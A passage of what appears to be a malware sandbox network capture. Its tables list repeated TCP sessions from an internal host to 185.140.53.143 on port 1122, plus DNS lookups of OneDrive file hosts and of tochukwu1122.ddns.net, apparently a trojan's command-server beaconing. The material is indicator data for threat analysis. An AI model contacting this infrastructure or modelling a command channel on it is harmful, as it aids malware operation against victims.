Jan 28, 2022 15:06:36.725960016 CET	1122	49847	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:37.240622997 CET	49847	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:37.256695986 CET	1122	49847	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:37.771784067 CET	49847	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:37.788096905 CET	1122	49847	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:59.984232903 CET	49856	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:00.000550985 CET	1122	49856	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:00.516614914 CET	49856	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:00.532970905 CET	1122	49856	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:01.047892094 CET	49856	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:01.063935041 CET	1122	49856	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:01.578933954 CET	49856	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:01.595320940 CET	1122	49856	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:02.110030890 CET	49856	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:02.126301050 CET	1122	49856	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:06.153223991 CET	49857	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:06.168658018 CET	1122	49857	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:06.671629906 CET	49857	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:06.687120914 CET	1122	49857	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:07.187135935 CET	49857	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:07.202682018 CET	1122	49857	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:07.718164921 CET	49857	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:07.733607054 CET	1122	49857	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:08.249370098 CET	49857	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:08.264851093 CET	1122	49857	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:12.292469025 CET	49858	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:12.308614969 CET	1122	49858	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:12.810847998 CET	49858	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:12.826816082 CET	1122	49858	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:13.341975927 CET	49858	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:13.358313084 CET	1122	49858	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:13.873167038 CET	49858	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:13.889244080 CET	1122	49858	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:14.404270887 CET	49858	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:14.420464039 CET	1122	49858	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:36.682452917 CET	49862	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:36.698204994 CET	1122	49862	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:37.211879969 CET	49862	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:37.228059053 CET	1122	49862	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:37.742944002 CET	49862	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:37.759197950 CET	1122	49862	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:38.274059057 CET	49862	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:38.290076971 CET	1122	49862	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:38.805238008 CET	49862	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:38.821420908 CET	1122	49862	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:42.850936890 CET	49863	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:42.867074013 CET	1122	49863	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:43.382323980 CET	49863	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:43.399050951 CET	1122	49863	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:43.913499117 CET	49863	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:43.930098057 CET	1122	49863	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:44.444639921 CET	49863	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:44.461168051 CET	1122	49863	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:44.975631952 CET	49863	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:44.992069960 CET	1122	49863	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:49.021886110 CET	49864	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:49.038171053 CET	1122	49864	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:49.552839994 CET	49864	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:49.569375992 CET	1122	49864	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:50.083988905 CET	49864	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:50.100487947 CET	1122	49864	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:50.615061045 CET	49864	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:50.631442070 CET	1122	49864	185.140.53.143	192.168.11.20
Jan 28, 2022 15:07:51.146142006 CET	49864	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:07:51.162497044 CET	1122	49864	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:13.388634920 CET	49868	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:13.404486895 CET	1122	49868	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:13.906759977 CET	49868	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:13.922940016 CET	1122	49868	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:14.437922955 CET	49868	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:14.453912973 CET	1122	49868	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:14.969105959 CET	49868	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:14.985325098 CET	1122	49868	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:15.500166893 CET	49868	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:15.516304016 CET	1122	49868	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:19.547063112 CET	49869	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:19.562721014 CET	1122	49869	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:20.077387094 CET	49869	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:20.093346119 CET	1122	49869	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:20.608539104 CET	49869	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:20.624464035 CET	1122	49869	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:21.139631033 CET	49869	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:21.155641079 CET	1122	49869	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:21.670666933 CET	49869	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:21.686527014 CET	1122	49869	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:25.724878073 CET	49871	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:25.741189957 CET	1122	49871	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:26.247908115 CET	49871	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:26.264508963 CET	1122	49871	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:26.778887033 CET	49871	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:26.795236111 CET	1122	49871	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:27.310129881 CET	49871	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:27.326807976 CET	1122	49871	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:27.841119051 CET	49871	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:27.857433081 CET	1122	49871	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:50.118431091 CET	49875	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:50.134270906 CET	1122	49875	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:50.648658037 CET	49875	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:50.664535046 CET	1122	49875	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:51.179826021 CET	49875	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:51.196168900 CET	1122	49875	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:51.711026907 CET	49875	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:51.727268934 CET	1122	49875	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:52.242010117 CET	49875	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:52.257857084 CET	1122	49875	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:56.290361881 CET	49881	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:56.306484938 CET	1122	49881	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:56.819211960 CET	49881	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:56.835659027 CET	1122	49881	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:57.350445986 CET	49881	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:57.367132902 CET	1122	49881	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:57.881489038 CET	49881	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:57.897892952 CET	1122	49881	185.140.53.143	192.168.11.20
Jan 28, 2022 15:08:58.412533045 CET	49881	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:08:58.428695917 CET	1122	49881	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:02.457681894 CET	49882	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:02.473817110 CET	1122	49882	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:02.974169016 CET	49882	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:02.990649939 CET	1122	49882	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:03.505364895 CET	49882	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:03.522006989 CET	1122	49882	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:04.036467075 CET	49882	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:04.052912951 CET	1122	49882	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:04.567409039 CET	49882	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:04.583651066 CET	1122	49882	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:26.844007015 CET	49886	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:26.860239029 CET	1122	49886	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:27.374886036 CET	49886	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:27.391088009 CET	1122	49886	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:27.906003952 CET	49886	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:27.922250032 CET	1122	49886	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:28.437222958 CET	49886	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:28.453733921 CET	1122	49886	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:28.968508959 CET	49886	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:28.985049963 CET	1122	49886	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:33.014735937 CET	49887	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:33.031017065 CET	1122	49887	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:33.545584917 CET	49887	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:33.562216043 CET	1122	49887	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:34.076607943 CET	49887	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:34.093097925 CET	1122	49887	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:34.607763052 CET	49887	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:34.624309063 CET	1122	49887	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:35.138801098 CET	49887	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:35.155083895 CET	1122	49887	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:39.183645010 CET	49888	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:39.199397087 CET	1122	49888	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:39.700237989 CET	49888	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:39.716036081 CET	1122	49888	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:40.231408119 CET	49888	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:40.247181892 CET	1122	49888	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:40.762710094 CET	49888	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:40.778647900 CET	1122	49888	185.140.53.143	192.168.11.20
Jan 28, 2022 15:09:41.293777943 CET	49888	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:09:41.309782982 CET	1122	49888	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:03.571119070 CET	49892	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:03.586993933 CET	1122	49892	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:04.101105928 CET	49892	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:04.116940022 CET	1122	49892	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:04.632261992 CET	49892	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:04.648076057 CET	1122	49892	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:05.163589954 CET	49892	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:05.179717064 CET	1122	49892	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:05.694720984 CET	49892	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:05.710762024 CET	1122	49892	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:09.739348888 CET	49893	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:09.755441904 CET	1122	49893	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:10.256031990 CET	49893	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:10.272222996 CET	1122	49893	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:10.787292004 CET	49893	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:10.803806067 CET	1122	49893	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:11.318370104 CET	49893	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:11.334901094 CET	1122	49893	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:11.849514961 CET	49893	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:11.865655899 CET	1122	49893	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:15.894381046 CET	49894	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:15.910181999 CET	1122	49894	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:16.426613092 CET	49894	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:16.442701101 CET	1122	49894	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:16.957731962 CET	49894	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:16.973562956 CET	1122	49894	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:17.488957882 CET	49894	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:17.504898071 CET	1122	49894	185.140.53.143	192.168.11.20
Jan 28, 2022 15:10:18.020045996 CET	49894	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:10:18.036176920 CET	1122	49894	185.140.53.143	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 28, 2022 15:03:48.739002943 CET	50789	53	192.168.11.20	1.1.1.1
Jan 28, 2022 15:03:49.572170973 CET	61900	53	192.168.11.20	1.1.1.1
Jan 28, 2022 15:03:53.402473927 CET	65037	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:03:53.413665056 CET	53	65037	8.8.8.8	192.168.11.20
Jan 28, 2022 15:04:00.028712034 CET	59886	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:04:00.039761066 CET	53	59886	8.8.8.8	192.168.11.20
Jan 28, 2022 15:04:06.431251049 CET	50087	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:04:06.442406893 CET	53	50087	8.8.8.8	192.168.11.20
Jan 28, 2022 15:04:31.334065914 CET	58511	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:04:31.346669912 CET	53	58511	8.8.8.8	192.168.11.20
Jan 28, 2022 15:04:37.561956882 CET	50198	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:04:37.573110104 CET	53	50198	8.8.8.8	192.168.11.20
Jan 28, 2022 15:04:44.013695002 CET	53343	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:04:44.022959948 CET	53	53343	8.8.8.8	192.168.11.20
Jan 28, 2022 15:05:08.845273972 CET	54810	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:05:08.858131886 CET	53	54810	8.8.8.8	192.168.11.20
Jan 28, 2022 15:05:15.270705938 CET	58493	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:05:15.284511089 CET	53	58493	8.8.8.8	192.168.11.20
Jan 28, 2022 15:05:22.088162899 CET	49254	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:05:22.099747896 CET	53	49254	8.8.8.8	192.168.11.20
Jan 28, 2022 15:05:46.628730059 CET	63929	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:05:46.639746904 CET	53	63929	8.8.8.8	192.168.11.20
Jan 28, 2022 15:05:52.784215927 CET	61345	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:05:52.797096968 CET	53	61345	8.8.8.8	192.168.11.20
Jan 28, 2022 15:05:58.954180956 CET	51728	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:05:58.965269089 CET	53	51728	8.8.8.8	192.168.11.20
Jan 28, 2022 15:06:23.341044903 CET	51764	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:06:23.352252007 CET	53	51764	8.8.8.8	192.168.11.20
Jan 28, 2022 15:06:29.494100094 CET	55028	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:06:29.505557060 CET	53	55028	8.8.8.8	192.168.11.20
Jan 28, 2022 15:06:35.649045944 CET	57592	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:06:35.661730051 CET	53	57592	8.8.8.8	192.168.11.20
Jan 28, 2022 15:06:44.151072979 CET	52885	53	192.168.11.20	1.1.1.1
Jan 28, 2022 15:06:44.880346060 CET	60754	53	192.168.11.20	1.1.1.1
Jan 28, 2022 15:06:45.052499056 CET	64469	53	192.168.11.20	1.1.1.1
Jan 28, 2022 15:06:59.971916914 CET	53487	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:06:59.983253002 CET	53	53487	8.8.8.8	192.168.11.20
Jan 28, 2022 15:07:06.143578053 CET	63682	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:07:06.152585983 CET	53	63682	8.8.8.8	192.168.11.20
Jan 28, 2022 15:07:12.281893969 CET	62535	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:07:12.291568995 CET	53	62535	8.8.8.8	192.168.11.20
Jan 28, 2022 15:07:36.667025089 CET	52292	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:07:36.681489944 CET	53	52292	8.8.8.8	192.168.11.20
Jan 28, 2022 15:07:42.838730097 CET	62554	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:07:42.850225925 CET	53	62554	8.8.8.8	192.168.11.20
Jan 28, 2022 15:07:49.008021116 CET	65399	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:07:49.021013021 CET	53	65399	8.8.8.8	192.168.11.20
Jan 28, 2022 15:08:13.378179073 CET	53892	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:08:13.387904882 CET	53	53892	8.8.8.8	192.168.11.20
Jan 28, 2022 15:08:19.534203053 CET	52508	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:08:19.545892954 CET	53	52508	8.8.8.8	192.168.11.20
Jan 28, 2022 15:08:25.712572098 CET	60380	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:08:25.724107981 CET	53	60380	8.8.8.8	192.168.11.20
Jan 28, 2022 15:08:50.103894949 CET	58613	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:08:50.117366076 CET	53	58613	8.8.8.8	192.168.11.20
Jan 28, 2022 15:08:56.276149035 CET	59163	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:08:56.289551973 CET	53	59163	8.8.8.8	192.168.11.20
Jan 28, 2022 15:09:02.444996119 CET	61255	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:09:02.456856012 CET	53	61255	8.8.8.8	192.168.11.20
Jan 28, 2022 15:09:26.830282927 CET	64988	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:09:26.843240976 CET	53	64988	8.8.8.8	192.168.11.20
Jan 28, 2022 15:09:33.000677109 CET	62975	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:09:33.013900042 CET	53	62975	8.8.8.8	192.168.11.20
Jan 28, 2022 15:09:39.171066046 CET	62040	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:09:39.182609081 CET	53	62040	8.8.8.8	192.168.11.20
Jan 28, 2022 15:10:03.557135105 CET	51382	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:10:03.570439100 CET	53	51382	8.8.8.8	192.168.11.20
Jan 28, 2022 15:10:09.728799105 CET	49640	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:10:09.738333941 CET	53	49640	8.8.8.8	192.168.11.20
Jan 28, 2022 15:10:15.882374048 CET	57913	53	192.168.11.20	8.8.8.8
Jan 28, 2022 15:10:15.893682957 CET	53	57913	8.8.8.8	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 28, 2022 15:03:48.739002943 CET	192.168.11.20	1.1.1.1	0x2b8b	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)
Jan 28, 2022 15:03:49.572170973 CET	192.168.11.20	1.1.1.1	0x7c5a	Standard query (0)	kadnjg.bn.files.1drv.com	A (IP address)	IN (0x0001)
Jan 28, 2022 15:03:53.402473927 CET	192.168.11.20	8.8.8.8	0x913d	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:04:00.028712034 CET	192.168.11.20	8.8.8.8	0x8464	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:04:06.431251049 CET	192.168.11.20	8.8.8.8	0x8b63	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:04:31.334065914 CET	192.168.11.20	8.8.8.8	0xc587	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:04:37.561956882 CET	192.168.11.20	8.8.8.8	0xa54e	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:04:44.013695002 CET	192.168.11.20	8.8.8.8	0x5af0	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:05:08.845273972 CET	192.168.11.20	8.8.8.8	0xe0ac	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:05:15.270705938 CET	192.168.11.20	8.8.8.8	0x5170	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:05:22.088162899 CET	192.168.11.20	8.8.8.8	0x1ad3	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:05:46.628730059 CET	192.168.11.20	8.8.8.8	0xbc75	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:05:52.784215927 CET	192.168.11.20	8.8.8.8	0x8795	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:05:58.954180956 CET	192.168.11.20	8.8.8.8	0x657a	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:06:23.341044903 CET	192.168.11.20	8.8.8.8	0xe3aa	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:06:29.494100094 CET	192.168.11.20	8.8.8.8	0xbfef	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:06:35.649045944 CET	192.168.11.20	8.8.8.8	0x5b7e	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:06:44.151072979 CET	192.168.11.20	1.1.1.1	0x38dc	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)
Jan 28, 2022 15:06:44.880346060 CET	192.168.11.20	1.1.1.1	0x7b3e	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)
Jan 28, 2022 15:06:45.052499056 CET	192.168.11.20	1.1.1.1	0xf024	Standard query (0)	kadnjg.bn.files.1drv.com	A (IP address)	IN (0x0001)
Jan 28, 2022 15:06:59.971916914 CET	192.168.11.20	8.8.8.8	0x2924	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:07:06.143578053 CET	192.168.11.20	8.8.8.8	0xc197	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:07:12.281893969 CET	192.168.11.20	8.8.8.8	0xe886	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:07:36.667025089 CET	192.168.11.20	8.8.8.8	0x7805	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:07:42.838730097 CET	192.168.11.20	8.8.8.8	0x2721	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:07:49.008021116 CET	192.168.11.20	8.8.8.8	0xce97	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:08:13.378179073 CET	192.168.11.20	8.8.8.8	0xc57b	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:08:19.534203053 CET	192.168.11.20	8.8.8.8	0x4c1	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:08:25.712572098 CET	192.168.11.20	8.8.8.8	0x6a7e	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:08:50.103894949 CET	192.168.11.20	8.8.8.8	0x38b0	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:08:56.276149035 CET	192.168.11.20	8.8.8.8	0xae38	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:09:02.444996119 CET	192.168.11.20	8.8.8.8	0x2972	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:09:26.830282927 CET	192.168.11.20	8.8.8.8	0x87e0	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:09:33.000677109 CET	192.168.11.20	8.8.8.8	0xb25	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:09:39.171066046 CET	192.168.11.20	8.8.8.8	0x4d10	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:10:03.557135105 CET	192.168.11.20	8.8.8.8	0x59d8	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:10:09.728799105 CET	192.168.11.20	8.8.8.8	0xd7e4	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)
Jan 28, 2022 15:10:15.882374048 CET	192.168.11.20	8.8.8.8	0x59f9	Standard query (0)	tochukwu1122.ddns.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 28, 2022 15:03:48.748516083 CET	1.1.1.1	192.168.11.20	0x2b8b	No error (0)	onedrive.live.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 28, 2022 15:03:49.759196997 CET	1.1.1.1	192.168.11.20	0x7c5a	No error (0)	kadnjg.bn.files.1drv.com	bn-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)
